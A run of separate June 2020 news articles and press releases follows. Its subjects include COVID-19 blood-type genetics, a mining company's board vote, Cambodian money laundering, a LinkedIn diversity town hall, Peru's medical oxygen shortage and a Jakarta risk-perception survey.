In February, the University of Kiel scientists teamed up with doctors in Italy and Spain and analyzed DNA samples from 1,610 ventilated patients from seven cities in these two nations with high COVID-19 cases. They extracted DNA from the samples and scanned them using a rapid technique called genotyping.

The researchers did not sequence all 3 billion genetic letters in the genome of each patient, but they looked at 9 million letters. They then compared collected genomes with other 2,205 samples taken from blood donors who have had no symptoms of COVID-19.

Study shows patients with type 'A' blood may suffer from a severe case of COVID-19

The researchers found that spots in the genome, called loci, of the same variants were unusually high among severely ill patients, compared with those who were not sick.

They found that half of type A patients were more likely to suffer severely and may require ventilator support than those with B or O blood types. Also, O-type blood patients are less likely to suffer a life-threatening experience from coronavirus.

This is not the first time patients with type "A" blood are said to have a higher risk for the coronavirus. A previous study conducted in China compared blood types of patients severely infected with COVID-19 and came to similar conclusions. However, this study did not sequence the genomes of samples.

The Chicago Tribune reported that it is still unclear whether the genetic variable that causes patients with type A blood to be vulnerable to severe illness could make someone more susceptible to the coronavirus, although they assume it might be linked to people's immune system.

University of Kiel molecular geneticist Andre Franke said the findings suggest that unexplored factors may play a huge role in the SARS-CoV-2 virus. Franke co-authors the new study which is currently undergoing peer review.

Researchers already acknowledged factors like age and pre-existing conditions put people at higher risk of having a severe COVID-19 case. However, they also hope that a DNA test may identify patients who will need aggressive treatment.

Meanwhile, Franke and his colleagues found a second locus on Chromosome 3 that shows an even stronger link to COVID-19. This spot houses six genes and it is still impossible to say which of them influences the severity of the illness.

The University of Kiel researchers are part of the COVID-19 Host Genetics Initiative, which includes a thousand researchers from 46 countries who collect DNA samples from coronavirus patients.

Read also: Coronavirus Patients' Risk of Death Cut in Half by Arthritis Drug; Controversial COVID-19 Papers Found by The Lancet

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
VANCOUVER, British Columbia, June 05, 2020 (GLOBE NEWSWIRE) -- Sabina Gold & Silver Corp. (TSX:SBB, OTCQX: SGSVF) (Sabina or the Company), in accordance with Toronto Stock Exchange requirements, is pleased to announce the voting results for election of its Board of Directors at its hybrid Annual General and Special Meeting of Shareholders held on June 4, 2020 in Vancouver, British Columbia.

The director nominees as listed in the Management Information Circular dated April 22, 2020 were elected as directors of the Company at the meeting to serve until the next Annual General Meeting. In addition, the appointment of auditors as well as the Companys adoption of new Articles were approved. The results are as follows:

Total Eligible Votes: 298,213,292, Total Voted: 185,859,227 Total Voted %: 62.32%

Nominees For For % Against/



Withheld Against/



Withheld% Number of Directors 156,223,066 99.77% 356,532 0.23% David A. Fennell 155,548,115 99.34% 1,031,483 0.66% D. Bruce McLeod 156,225,723 99.77% 353,875 0.23% James N. Morton 155,042,967 99.02 % 1,536,631 0.98% David Rae 156,229,423 99.78% 350,175 0.22% Walter Segsworth 156,219,323 99.77% 360,275 0.23% Anna Stylianides 155,535,713 99.33% 1,043,885 0.67% Anthony P. Walsh 156,216,273 99.77% 363,325 0.23% Leo Zhao 155,433,123 99.27% 1,146,475 0.73% Appointment of Auditors 184,918,240 99.84% 296,359 0.16% Approval of new Articles 144,862,798 92.52% 11,716,800 7.48%

On behalf of the Board of Directors, I would like to take this opportunity to thank Rick Howes for his guidance and support over the years, and we wish him well in his retirement. We look forward to working with David Rae and welcome him to the Board. Said Bruce McLeod, President & CEO

The eight elected nominees will serve on the Company's board of directors until the next annual meeting of shareholders or until their successors are elected or appointed.

Voting results have been reported on www.sedar.com.

For further information please contact:

Nicole Hoeller, Vice-President, Communications: 1 888 648-4218

nhoeller@sabinagoldsilver.com

This news release has been authorized by the undersigned on behalf of Sabina Gold & Silver Corp.

Bruce McLeod, President & CEO

1800-555 Burrard Street, Vancouver, BC V7X 1M9

Tel 604 998-4175 Fax 604 998-1051

http://www.sabinagoldsilver.com




Artax Biopharma, Inc., a Cambridge, Mass.-based biotechnology company focused on transforming autoimmune disease treatment, completed an extension to its Series B financing led by Columbus Venture Partners.

The amount of the deal was not disclosed.

Led by Joseph Lobacki, Chief Executive Officer, Artax Biopharma is a biotechnology company focused on autoimmune disease immunomodulation science, developing an innovative small molecule approach to treat autoimmune disease that modulates the immune system to both treat autoimmune disease and allow the body to fight foreign pathogens. The company is examining a first-in-class oral immunomodulating agent as a new way to treat multiple autoimmune diseases without causing the immune suppression commonly associated with currently available autoimmune disease therapies.

Proceeds from the financing will be used to support activities for a planned Q4 2020 filing of a Clinical Trial Application (CTA) with the United Kingdoms Medicines and Healthcare Products Regulatory Agency (MHRA) for AX-158. AX-158 is an oral small molecule, immunomodulating agent in development for the treatment of autoimmune diseases. It employs a novel mechanism of action that selectively modulates, or adjusts, T cell responses that play a critical role in immune system function.

FinSMEs

05/06/2020
Police are still looking to find who shot and killed an Eastpointe man as protests in Detroit grew in reaction to the killing of George Floyd by Minneapolis police.

Javar Harrell was killed late Friday night in Detroit, shot while he sat in a silver Dodge Caliber parked in a lot near Congress and Randolph, Fox2Detroit.com reports. The person who shot into the car is described as a young black male with a light complexion and in his late teens.

Forbes.com lists Harrell, 21, as one of 12 people killed in the nationwide violence that was part of the widespread protests that have been seen throughout America. The site, however, notes that his family has said he was not taking part in the protest.

WXYZ.com highlighted the case as Detroit police continue to seek his killer, wanting to find persons of interest in hopes of catching a break in the investigation. He was described by friends as a peacemaker and a good person who helped mentor children in foster care.

If anyone recognizes one of the persons of interest or has information about the shooting, they need to call Detroit police at 313-596-2260 or Crime Stoppers at 800-SPEAK-UP, or 800-773-2587.

In recent days, as protests have continued, they have been peaceful, allowing Detroit police to not enforce the curfews put in place.
In 2016 alone, at least $1.8 billion was laundered out of Cambodia, according to an analysis by U.S. think tank Global Financial Integrity.

In August 1990, one year before he took up his role as U.S. ambassador to Cambodia, Charles Twining wrote that the Phnom Penh regime is  acquiring a significant reputation for corruption. Three decades later the country has the same prime minister, Hun Sen, and his government the same reputation for graft. Another constant for the last 30 years has been the apparent willingness of outwardly respectable banks, realtors and consultants to help politically connected Cambodians expatriate their countrys riches.

In recent months, an investigative series by Radio Free Asia examining the overseas real estate holdings of Cambodias ruling elite has turned up properties worth $30 million. Upcoming stories will reveal further properties, worth in excess of $100 million.

That figure is just a drop in the ocean of wealth that leaks out of the country illicitly each year. In 2016 alone, at least $1.8 billion was laundered out of Cambodia, according to an analysis by U.S. think tank Global Financial Integrity.

Cambodia is not alone. Global Financial Integrity estimates that economies around the world hemorrhaged more than $800 billion just in 2017. The global financial system is hardwired to facilitate the movement of capital across international borders as seamlessly as possible, and for as long as its been that way there have been well-dressed criminals taking advantage of it.

From Phnom Penh to Panama City

Few names symbolized the symbiosis of political power and commercial clout in 1990s Phnom Penh quite like Teng Boonma. When in 1997 Hun Sen orchestrated a bloody coup against his royalist coalition partners, Boonma admitted  but later denied  that he had stumped up more than $1 million to bankroll the bloodshed. Many observers viewed the cash as payback to a regime that had protected his lucrative businesses that skirted both sides of the law. He was a major importer and exporter of consumer goods and, according to the U.S. State Department, narcotics  a charge he repeatedly denied.

Having spent much of his life in Thailand, like many of Cambodias early tycoons he began cutting informal deals with the countrys government in the 1980s, before the economy had officially opened.

It was an open secret at the time that commercial success in Cambodia was only possible with political patronage, which came at a price. A 1994 internal memo from international cigarette manufacturer British American Tobacco stressed the importance of Government, Provincial official contacts for doing business in Cambodia, but cautioned, its clearly somewhat of a Pay your money, take your choice situation, as to who today of influence will be in the same position tomorrow.

What was true in 1994 was truer still five years earlier, but corporate records obtained by RFA show that did not deter lawyers in Hong Kong  then a British colony  from helping Boonma register and administer a string of Panamanian companies in 1989 to manage his commercial affairs. Meanwhile in Panama, Boonma shared a corporate lawyer with Osama bin Ladens half-brother.

Once Cambodia's wealthiest tycoon, Teng Boonma, is pictured at a Cambodia trade fair in Takhmau town, south of Phnom Penh, in this April 9, 1995 file photo. AP Passports to freedom

A decade later in 1999, Boonma found himself in trouble with authorities in Hong Kong, where many of his businesses were headquartered, when prosecutors charged him with making false statements to immigration officials. Somewhat ironically, they were forced to drop the charges when the tycoon claimed immunity on the grounds he held a Cambodian diplomatic passport.

Cambodias then-foreign minister Hor Namhong told a parliamentary committee the following year that only 10 percent of Cambodias 4,000 diplomatic passport holders were genuine diplomats. The remainder had been given their passports as political favors. Most used them simply to avoid the onerous visa requirements ordinary Cambodians were frequently subject to, but a less scrupulous minority put them to work as real life get-out-of-jail-free cards.

Twenty years later, Cambodian diplomatic passports have lost much of their usefulness and the trend has been reversed. Today, the must-have travel document for Phnom Penhs well-heeled residents is a second passport  preferably one that grants the bearer visa-free access to the European Union.

Over the last quarter of a century what is euphemistically referred to as global citizenship, the controversial practice of countries granting passports to wealthy foreigners in return for investments in the local economy, has grown to be a $25 billion-a-year industry.

In 2018, one of the industrys pioneers, Swiss consultancy Henley & Partners, held a seminar in Phnom Penhs $230-a-night Sofitel Hotel. Following an opening address by a representative of the Cambodian Ministry of Commerce, Henley & Partners evangelized to a room full of wealthy Khmer and their business agents on the perks of purchasing passports from six Caribbean nations, two small countries in Eastern Europe and a pair of island states in the Mediterranean.

According to Henley & Partners public relations director Paddy Blewer, there are two principal reasons why a wealthy individual from a country such as Cambodia might want a second passport. The first is to shake free of the same visa restrictions that users of Cambodian diplomatic passports were trying to evade 20 years ago. The vast majority of investors in citizenship-by-investment and residence-by-investment programs are not [interested in] emigration, Blewer said in an interview. It's the, I want to be able to go wherever I want to go, whenever I go, and I want to take my family with me.

He noted that for most people able to afford these programs, your wealth portfolio is almost certainly, if not nationally, then regionally based  so you dont leave [home]. You only leave if youre forced to leave.

For some, a second passport acts as an insurance product, Blewer said. If you come from a part of the world where there is constant volatility, either politically, environmentally or financially, you might want to [be able to] get out quickly.

This would appear to be the motivation for many of Cambodias global citizens. When a Reuters investigation revealed last October that eight politically connected Cambodians had acquired Cypriot passports by investment, a government source in Phnom Penh told the news agency, Everyone is making an escape plan.

The government of Cyprus has since announced its intention to revoke the eight Cambodians passports. Blewer insisted the firm had nothing to do with the individuals in the Reuters story. He stressed that while Henley & Partners has helped wealthy Cambodians acquire second citizenships, none were what is known as politically exposed persons, or PEPs.

PEP is a designation used by law enforcement and corporate compliance professionals to identify individuals who either hold high public office or are close relatives of people who do. In most jurisdictions, professionals and individuals offering financial services are obliged to conduct enhanced due diligence before handling transactions with PEPs.

While Henley & Partners conducts due diligence on all its clients as a matter of course, not all citizenship brokers are so discerning about whose money they take, according to Blewer, who said the industry is currently under-regulated.

There is no regulation that says youve got to check who youre working with. We could, as a number of our competitors do, just take anyones money, Blewer said. Because there is a lack of global regulation, or even national regulation, the primary due diligence responsibility in citizenship and residence-by-investment is held by the sovereign state that runs the program.

Cambodian National Police Commissioner Neth Savoeun, Hun Kimleng and their three daughters, in Cannes, France. Posted on Instagram by a family member in November 2018. Banking on the Khmer Riche

Cambodian national police commissioner Neth Savoeun and his wife, Hun Sens niece Hun Kimleng, both featured prominently in the Reuters expose. RFA subsequently revealed that Kimleng bought 2.5 million in Cypriot real estate at the start of this year.

Ten years earlier, the day after her husbands 50th birthday, Kimleng bought a 1.95 million ($2.4 million) apartment on the fifth most expensive street in the United Kingdom, in the tony London borough of Kensington. Deeds lodged with the UK Land Registry record that the purchase was financed by a mortgage from Singapores United Overseas Bank.

The bank did not respond to repeated requests for comment on how a sizeable loan to the wife of the most senior policeman in a noted kleptocracy cleared due diligence. In 2017 the Monetary Authority of Singapore fined UOB close to half a million dollars over its failure to comply with anti-money laundering regulations.

Put on notice

Cambodia itself is under growing international pressure to clean up its act on money laundering. In May, the European Unions executive branch listed Cambodia alongside 19 other countries as deficient in tackling the problem. The listing placed Cambodia alongside such notorious offshore havens as the Bahamas, and Teng Boonmas favourite jurisdiction, Panama, as well as failed states such as Yemen and Syria.

The National Assembly passed two bills on June 4 to strengthen Cambodias legislation on countering money laundering and financing related to the proliferation of weapons of mass destruction. The bills were drafted without consultation with civil society groups and had not been made public before lawmakers voted on them. According to the government, the legislation allows for prison terms of up to 20 years and fines of up to $50,000, and provides for more stringent measures on freezing and confiscating assets and requires more background checks on bank customers.

Cambodia was already on notice from the Paris-based Financial Action Task Force (FATF), which placed the kingdom on its money laundering grey list in February 2019. Cambodia needs to adopt the new legislation quickly to meet the requirements of the FATFs action plan.

Among several factors behind the listing, the FATF pointed to a lack of oversight in Cambodias booming real estate and gaming sectors as a crucial failing. Cambodian officials conceded last year that the countrys seemingly unstoppable property boom was fueled by money laundering.

But when the political class is so frequently the beneficiary, it seems unlikely serious action will be taken any time soon.

Sovannarith Keo contributed to this report.
What are your plans for this weekend? If you'd like to leave it to us, we'd suggest a global film festival with hundreds of works, a family drawing competition, and an important gathering of solidarity in support of the Black Lives Matter movement.

1. Show solidarity with George Floyd in Black Lives Matter protest



What: Peaceful demonstration against racism in Luxembourg

Where: U.S. Embassy Luxembourg, 22 Boulevard Emmanuel Servais

When: Friday 5 June at 2pm

Local organisation Letz Rise Up has called for a gathering to express solidarity with the Black Lives Matter movement against racism and use of police violence. Organisers ask all participants to comply with the current health requirements concerning compulsory face masks and social distancing. "We hope that this moment will inspire change, and we need all of you to be involved if this is to happen," Letz Rise Up write on their Facebook page. Now is the time to stick together and join the movement.

2. Join Pascal Schumacher's album release stream from Mudam

What: Solo album release party from a special location

Where: Online stream from Mudam

When: Friday 5 June at 9pm

Pascal Schumacher is one of Luxembourg's most prolific musicians, somewhat of a master on the vibraphone. Over a 25-year career he has explored the links that exist between many musical genres, making it difficult to pigeonhole his talent, taste or musical influences. On Friday he is releasing his solo album SOL with a special live stream from Mudam, amidst the "Untitled (Portland Mirrors)" installation by Robert Morris.

This will be a highly unique experience which you can tune into from the comfort of your homes via RTL Today.

Read our interview here

3. Enter a drawing competition

What: Highly professional and competitive drawing competition

Where: You choose! Best outside your home, as you can work on it all weekend

When: Deadline is Sunday 7 June at 6pm

Rotondes want you to drum up your family, sit around the table, and come up with a fabulous piece of art. Using only chalk, teams need to draw up an XXL-sized sketch on the pavement or asphalt in line with the theme of "adventure". A jury will then critically analyse your creations and announce a winner on Tuesday. Before you do so, make sure to sign up here, and to head over to the store for a big pack of colourful chalk. Dodgy family team names are a necessity, of course. And oh, make sure dad knows what he's doing...we've all been there before. More information here.

4. Discover special films in We Are One: Global Film Festival

What: A global once-in-a-lifetime online film festival

Where: Watch on this Youtube channel

When: Friday 5 June - Sunday 7 June

Experience a film festival like never before during this first ever 10-day global film festival co-curated by over 20 film festivals from across the world, which was taking place this week and will be coming to an end on Sunday. All funds raised during the festival will benefit COVID-19 relief funds. Check in to the Youtube channel on a daily basis, as selected works are uploaded each time. There are currently over several hundred videos available, a historical project to which everyone has access to. Donate if you'd like and take it all in.

5. Move your hips in (contactless) outdoor Salsa/Bachata class

What: Outdoor dance class without partner contact, info here.

Where: Brasserie Wenzel, 28 rue Munster, 2160 Luxembourg,

When: Sunday 7 June between 4.30pm and 10.30pm

In need of a short holiday in Cuba, but travel restrictions are taking a hefty toll on you? If you've got the moves then you may want to join this hot outdoor salsa/bachata class, hosted by Salsa CubaYork Luxembourg at Abbaye Neumunster. There will be no partner dancing so social distancing can be upheld. Alternatively, the class is more about your footwork, rhythm and musicality. Let's hope the sun will be back for it! So, what are you waiting for? Vamonos!

6. Get yourself an electric bike

What: Pedalling through the country with a little discount

Where: Probably outside is best...

When: Anytime

Electric bikes are the new hype. Wizzing through the forest at double the speed but half the effort sounds convincing enough to purchase one, but their steep price may be a little off-putting at first. Well, there is great news now: the purchase of an electronic bike can now be compensated with 600 from the Ministry of the Environment. Once you're a new owner, why not check out last week's What's On suggestions, which included exploring the city's lush green parks.

7. Phil live at home with Kreisler Quartet

What: Live music from the Philharmonie

Where: Streamed on their facebook page

When: Friday 5 June at 8pm

We all miss live music, so the Philharmonie's weekly live sessions streamed on their facebook page are truly heart-warming and refreshing. Up this week is the Kreisler Quartet with OPL musicians Haoxing Liang, Silja Geirhardsdottir, Maya Tal and Niall Brown. Together they will before Dvorak's enchanting String Quartet N 12 live from the Chamber Music hall. Ragtime tunes, Czech folk melodies, an American blues or a European lullaby you hear? It'll be a bit of everything! This video below is a performance by the quartet of a different piece.

Is there an event you think we'd enjoy and like to share with our audience? Feel free to let us know through audience@rtltoday.lu and we may consider it for next week's agenda.
Source: Xinhua| 2020-06-05 23:25:29|Editor: huaxia

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Wang Yang, a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee and chairman of the National Committee of the Chinese People's Political Consultative Conference (CPPCC), presides over a bi-weekly seminar held by the CPPCC National Committee in Beijing, capital of China, June 5, 2020. (Xinhua/Ding Lin)

BEIJING, June 5 (Xinhua) -- Chinese national political advisors convened a bi-weekly seminar on Friday to discuss revising the administrative reconsideration law.

It is necessary to improve the system of administrative reconsideration for modernizing China's system and capacity for governance, said Wang Yang, a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee and chairman of the National Committee of the Chinese People's Political Consultative Conference (CPPCC), who presided over the meeting.

Stressing working in detail to offer suggestions on revising related laws, Wang noted that the administrative reconsideration system should play a better role in resolving administrative disputes.

At the meeting, 12 political advisors and representatives from academia put forward their suggestions on the issue. Meanwhile, more than 70 political advisors voiced their opinions through a mobile platform of the CPPCC National Committee.

Noting that the administrative reconsideration law has been implemented for over 20 years, political advisors said the law has accomplished remarkable achievements in resolving administrative disputes, supervising law-based administration, and safeguarding people's legitimate rights and interests.

Political advisors suggested taking advantage of administrative reconsideration, administrative litigation, and public complaints to jointly safeguard equity and justice.

They also called for expanding the scope of administrative reconsideration, promoting online case handling, and exploring the establishment of professional officer teams for administrative reconsideration.

Supervision over the institutions and staff for administrative reconsideration should be strengthened, and professional aid should be offered to people with insufficient administrative reconsideration capability, said the political advisors.
The CEO of LinkedIn has been forced to apologize after several employees made 'appalling' and 'offensive' comments during a video conference on diversity and inclusion.

LinkedIn workers from around the world dialed in to the 'virtual town hall' earlier this week so the company could 'reflect on their own biases, practice allyship, and intentionally drive equitable actions' following the death of unarmed black man George Floyd.

While the conference call was in session, workers were able to post anonymous comments on a message sidebar on the video chat - and controversy quickly ensued, according to a report in The Daily Beast

One employee posted to the message board: 'George's killers need to be tried according to law. But how can hiring more minorities into manager roles and C-suite positions address cop racism? I thought hiring at LinkedIn is based on merit alone.'

The CEO of LinkedIn has been forced to apologize after several employees made 'appalling' and 'offensive' comments during a video conference on diversity and inclusion

Another wrote: 'This tragic incident that happened to George Floyd happened exactly the same to [white man] Tony Timpa by Dallas cops in 2016, and no one seemed to care then. There were no out cry for justice in his case. Why? Should we not want justice for all?'

The controversial comments continued, with another chiming in: 'Do we all understand that racial prejudice is about EVERYONE and can go any direction? Racial prejudice is rampant in tech companies. As a white person, I've experienced it from people of other races too.'

As the conference continued, other LinkedIn employees were allegedly mortified by some of the views of their colleagues.

'I do not feel safe working at this company in a place where I was already uncomfortable with the treatment I've received on my OWN team since I started. This is so sad,' one wrote.

'I am COMPLETELY shocked by some of these racist comments from my fellow employees. I am thoroughly disgusted!' raged another

One employee - who identified as black - wrote that her colleague's comments 'absolutely destroyed me'.

LinkedIn's headquarters in Silicon Valley are pictured. Employees from across the globe dialed in to the 'virtual town hall' on diversity and inclusion earlier this week

LinkedIn released a report last year which revealed its workforce was 47.5 percent white, 40.3 percent Asian, 5.9 percent Latino and 3.5 percent black.

In an internal email following the conference call, CEO Ryan Roslansky wrote: 'I have heard people share the pain and frustration they felt at appalling comments shared in the Q&A and chat, and so it's important that I weigh in directly.

'I said it in the Company Group yesterday, and I will say it again, we are not and will not be a company or platform where racism or hateful speech is allowed.'

He continued: 'Many of you shared the hardest part was realizing that this company we love and hold to such a high standard still has a lot of work to do to educate ourselves and our colleagues on how to create a culture that is truly anti-racist. We will do that work.'

Roslansky also pledged that comments in upcoming conferences would not be allowed to be submitted anonymously.

'We have to anchor on our values, including having open, honest and constructive conversations and respecting that relationships matter,' he wrote.

Roslansky quickly went into damage control and sent an email to all employees following the conference call
New Delhi, Jun 5 (UNI) The Supreme Court on Friday asked private hospitals, which were given land free of cost by the government, whether they are ready to provide treatment to Covid-19 patients at the subsidised rates offered under the Ayushman Bharat scheme.

A Bench led by Chief Justice of India (CJI) Sharad A. Bobde heard petitioner-advocate Sachin Jain seeking free treatment of Novel Coronavirus (COVID-19) patients in private hospitals.

"We are not going to pass orders against all private hospitals. But the charitable hospitals which are built on free government land have to provide free treatment of it had taken land at a nominal price," the Apex Court said.

The CJI said, there is an earlier judgment of Justice (retired) R M Lodha that says these hospitals should treat certain number of patients for free. Why cant these hospitals treat a certain number of patients for free?

Senior advocate, Harish Salve, appearing for healthcare commission, said, we are complying with this order.

"Charitable hospitals must do some service to the society if they have got land for free," says CJI.

The Supreme Court today sought a detailed reply from some private hospital organisations, and fixed the matter for further hearing after two weeks.

On the other hand, private hospitals claimed that they have already been treating 25 per cent patients free.

UNI XC JW2141
BOGOTA - Television. Sewing machine. Motorcycle.

These are the things Edda Marchans children sold to keep their mother breathing.

In the far stretch of northern Peru where the family lives, medicinal oxygen to treat the coronavirus has become a scarce commodity.

Eventually, they could not find any.

Its the greatest desperation in the world, said her daughter, 39-year-old Fiorella Sorroza. We are praying to God not to abandon us.

In the South American nation wracked by COVID-19, one of the worlds most abundant elements is now in short supply. Exasperated relatives are racing to fill overpriced tanks. Long neglected hospitals are running empty. And President Martin Vizcarra has issued an emergency decree ordering industrial plants to ramp up production or purchase oxygen from other countries.

Peru, with the Amazon, has the lungs of the planet, said Ivan Hidalgo, academic director of the Institute of Government and Public Management in Perus capital of Lima. And were dying because of lack of oxygen.

Regional health directors say the shortage has already cost lives and is so severe that even by turning industrial plants that typically produce oxygen for mining into medicinal production, Peru will fall short of what it needs. Defence Minister Walter Martos said Thursday the country needs 173 tons of oxygen per day. The dean of the Medical College of Peru estimates the nation is producing about 20% of that.

The problem is a consequence of decades of underinvestment in hospitals, corruption and poor management, several medical leaders said. The hospital in Tumbes, near the border with Ecuador, where Marchans family resides, has a plant that has been inoperative for years because someone stole an electronic card needed to operate it. Officials are hoping to get it back up Saturday.

In the meantime, Tumbes health workers have imported oxygen from Ecuador and trucked in tanks from the nearest Peruvian plant, five hours away. The biggest public hospital usually utilizes 30 tanks a week but now needs about 200.

Many also blame Perus governments for failing to prepare earlier.

This exposes failings throughout the country, said Dr. Harold Burgos, regional health director for Tumbes. It was coming and no one took it seriously.

Other countries in Latin America and the Caribbean are facing  or soon likely to encounter  oxygen shortages. In Colombias Amazon, doctors have had to airlift patients to Bogota because the only oxygen plant in the region is barely functioning. Haiti is heavily reliant on one oxygen plant for a population of over 11 million.

About 15% of all COVID-19 patients experience severe illness that requires oxygen therapy, while another 5% need ventilation, according to the World Health Organization. By the time many patients are critical enough to seek hospital attention, they often have low blood oxygen levels that require immediate attention.

That was the case for Armando Ancajimas uncle, who was taken Sunday to a hospital in Talara, an oil producing city near Perus northern coast. Struggling to breathe, his nails purple, he had just 35% oxygen saturation on arrival. The family was told the hospital had no oxygen, suggesting that they rapidly find a way to buy it themselves.

Ancajima said he saw 10 people die during the night he spent with his uncle.

This is the inheritance of 30 years of inattention, he said.

Peru was one of the earliest nations in Latin America to institute a strict lockdown, but that failed to stop infections from skyrocketing. With nearly 185,000 cases, the country has the second-highest number in the region. Perus large informal sector  about 70% of the economy  means many have to break quarantines to earn money and buy food.

But the oxygen shortages are also symptomatic of the overall difficulties Latin America encountered in ramping up medical supplies during the pandemic. By the time the first cases were diagnosed in late February and early March, global supplies were drying up. Unable to buy from the U.S. or Europe, many turned to China for ventilators, which have been slow to arrive.

The opportunity to buy goods had already passed when the first cases were diagnosed, said Dr. Ciro Ugarte, director of the Pan American Health Organizations health emergencies department.

Aid groups have tried to fill some of the gaps. The U.K.-based Hope Health Action will soon opena COVID-19 ward with 10 oxygen concentrators in the port city of Cap-Haitien in Haiti. The concentrators produce medicinal oxygen using electricity and ambient air.

Nonetheless, they have limitations. The machines typically supply up to 10 litres per minute and severe COVID-19 cases can require more, said Rob Dalton, an emergency nurse with the organization. Each concentrator can serve just one patient.

We need even more, Dalton said. We need as many as we can get.

In Peru, Vizcarra on Thursday announced nearly $25 million to purchase oxygen and $3.2 million to develop plants and generators.

If we can meet the demand nationally, we will, he said. If plants and generators cannot be secured that way, well go wherever necessary.

Perhaps the most severe shortages have been in Perus Amazon, where doctors in Iquitos were tending to 500 patients in a hospital meant for 225. With no oxygen plant, health workers were depending on outside shipments until recently. The government promised 60 tanks a day by air, though only 24 were arriving.

With the help of the church and local communities, two plants have since been purchased and overall need and shortages have gone down.

But the oxygen scarcity is increasingly being felt outside the Amazon as well.

In recent days, lines of people waiting to fill oxygen tanks for loved ones with COVID-19 have been seen even in better-equipped Lima. And in northern Peru, where Marchans family lives, many say price gougers are taking advantage.

The family was spending about $150 a day on oxygen until recently, hoping to avoid taking her to the hospital, which doctors warned was on the verge of collapse. But as she grew worse and no oxygen could be found, they decided to seek help.

A day after admitting her to the hospital, Sorroza said a doctor called, saying they didnt have oxygen and asking the family to bring some. Later that night, she said, one doctor called a cousin offering to sell them a tank for around $120.

Three days later, she was dead.

The family was alerted at 6 a.m. on a Saturday that shed passed and was told shed be buried four hours later at a newly created cemetery. They rushed to say a hasty goodbye, enlisting a carpenter cousin to construct a simple white cross out of wood.

I didnt get to see her, Sorroza said. Nothing.
EDWARDSVILLE  While foot traffic is still slower than normal, the court system in Edwardsville appears to be ramping up, according to officials from various departments who spoke at the Madison County Boards Judiciary Committee meeting Friday morning.

The courts opened up again on June 1 after being closed for everything except emergency business. Although jury trials are not expected to start for some time, most of the other functions are ramping up.

On May 28 Chief Circuit Judge Bill Mudge issued his most recent judicial order reopening the courthouse. We do have restrictions in place, the face coverings, the capacity restrictions, he said.

He also noted they have been able to clear 400 to 500 cases by working remotely. Mudge added he expects there will be hiccups but they will be addressed.

Deputy Madison County Circuit Clerk Dina Burch said all the employees in that office are back to work, and they are working with Mudge on guidelines to keep workers and visitors safe.

Were doing some things to eliminate as much traffic as possible, she said.

One possibility is the use of Zoom meetings for Traffic Court, which is set to resume on June 15. While that courtroom has been set up to promote social distancing, it normally sees one of the higher volumes of cases.

Time will tell, and well know more June 15, Burch said.

Both Madison County States Attorney Tom Gibbons and Public Defender John Rekowski said they are seeing an increase in felony cases. Rekowski said he still expects a tsunami of felony cases in about a month.

There are a lot of unserved warrants out there, and Im sure there are a lot of low-level felonys sitting on a detectives desk, he said.

He also said the current restrictions are causing delays.

Practicing law is terribly inefficient when youre not doing it in person, he said. But were still functioning and were still seeing cases.

Gibbons said he was looking at felony case filings over the last few months, and there was a large drop from February to March.

Gibbons said there were 82 cases filed the last week of January, 93 during the same period in February, then only six in March. That increased to 35 in April and 43 in May.

Its slowly picking back up, he said.

After Fridays meeting, Gibbons said one of the reasons the caseload has slowed was because conducting investigations was more difficult under the pandemic regulations. As those ease, police will be able to become more proactive rather than reactive, he said.

Numbers at the Madison County Jail are also creeping up. On Friday there were 238 inmates, including 21 in Alton, according to Chief Deputy Sheriff Maj. John Connor. There also are 22 jail residents awaiting transfer to the Illinois Department of Corrections, he said.

They (IDOC) will not take any inmates, Connor said, adding the earliest the transfers could be made are late June.
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Linkedin Moch. Fiqih Prawira Adjie (The Jakarta Post) Jakarta  Fri, June 5, 2020 09:12 595 fc6853813033f564188675f8bdc49a38 1 National COVID-19-in-Indonesia,new-normal,PSBB,Jakarta-COVID-19,Kawal-COVID-19,survey,Jakartans Free

A survey conducted by LaporCOVID-19 (Report COVID-19) community reveals that Jakarta is not yet ready to enter the so-called new normal as the capital is gearing up to ease social restrictions.

Based on the survey, the group has expressed concern that the new normal policy might instead cause a spike in transmission as there is low risk perception of COVID-19 among Jakarta residents.

The survey took place between May 29 and June 2 in collaboration with Singapores Nanyang Technology University (NTU) Social Resilience Lab. It was aimed at finding how Jakartans perceive the risk of COVID-19 using a risk perception index developed from sociological theories of risk.

On a scale of 1 to 5, where 1 equals critically low, Jakartans scored 3.46 in the risk perception index, meaning they were between rather low and rather high.

NTU associate professor Sulfikar Amir said the score should be 4 or higher for the capital to apply the new normal policy.

Overall, we can say that residents of Jakarta are not yet ready to enter the new normal phase until we reach a score of at least 4, Sulfikar said during a virtual discussion session on Thursday.

If the survey reaches the score of 4, it means that residents have become more disciplined and are aware of the risk of COVID-19, which is [suitable to] reduce the transmission rate in the capital, he added.

Read also: Jakarta discusses new normal possibilities for nightclubs, massage parlors

The survey measured several variables to determine the index score, namely knowledge and information about COVID-19, how much the participants are willing to protect themselves from transmission  such as by wearing a protective mask as well as their social and economic condition, in addition to their overall risk perception.

The close-ended survey asked 3,079 participants from almost all subdistricts in the capital city several questions, such as in your opinion, how likely are you to contract COVID-19?, how likely are you to help acquaintances that have contracted COVID-19?, and how much has your income decreased due to the pandemic.

Respondents were also questioned about their knowledge of the disease, such as its symptoms and methods of transmission.

Sulfikar said Jakartans received a relatively high score in terms of their knowledge and information regarding the disease and how much they are willing to protect themselves. However, they scored lower in economic and social conditions, which affected the overall risk perception scoring.

Sulfikar, for example, said a poor economic condition might result in someone risking their health and safety by going out to work instead of staying at home.

To improve residents risk perception, Sulfikar said the Jakarta administration needed to be consistent in educating the public about the pandemic.

Additionally, LaporCOVID-19 co-founder Irma Hidayana suggested that the administration should be more transparent about COVID-19 data, such as the number of deaths among suspected individuals showing symptoms. Transparency is an important factor as the survey also showed that 66.9 percent of respondents trusted the data provided by government officials.

National Development Planning Minister Suharso Monoarfa previously said that the new normal policy was aimed at keeping the economy running while maintaining restrictions. However, on the other hand, the country faces slumping economic growth and a looming recession.

Read also: Experts warn of turbulent 'new normal' amid COVID-19 data, testing issues

Irma said the government carried the responsibility of ensuring social and economic welfare of the people during the national health crisis.

[In a state of health quarantine], social and economic assurance should be provided by the government so that an alarming condition [showed in the survey] that affects public perception does not happen, she said during the discussion.

The [1945] Constitution guarantees social and economic rights, especially during a pandemic like this, added Irma.

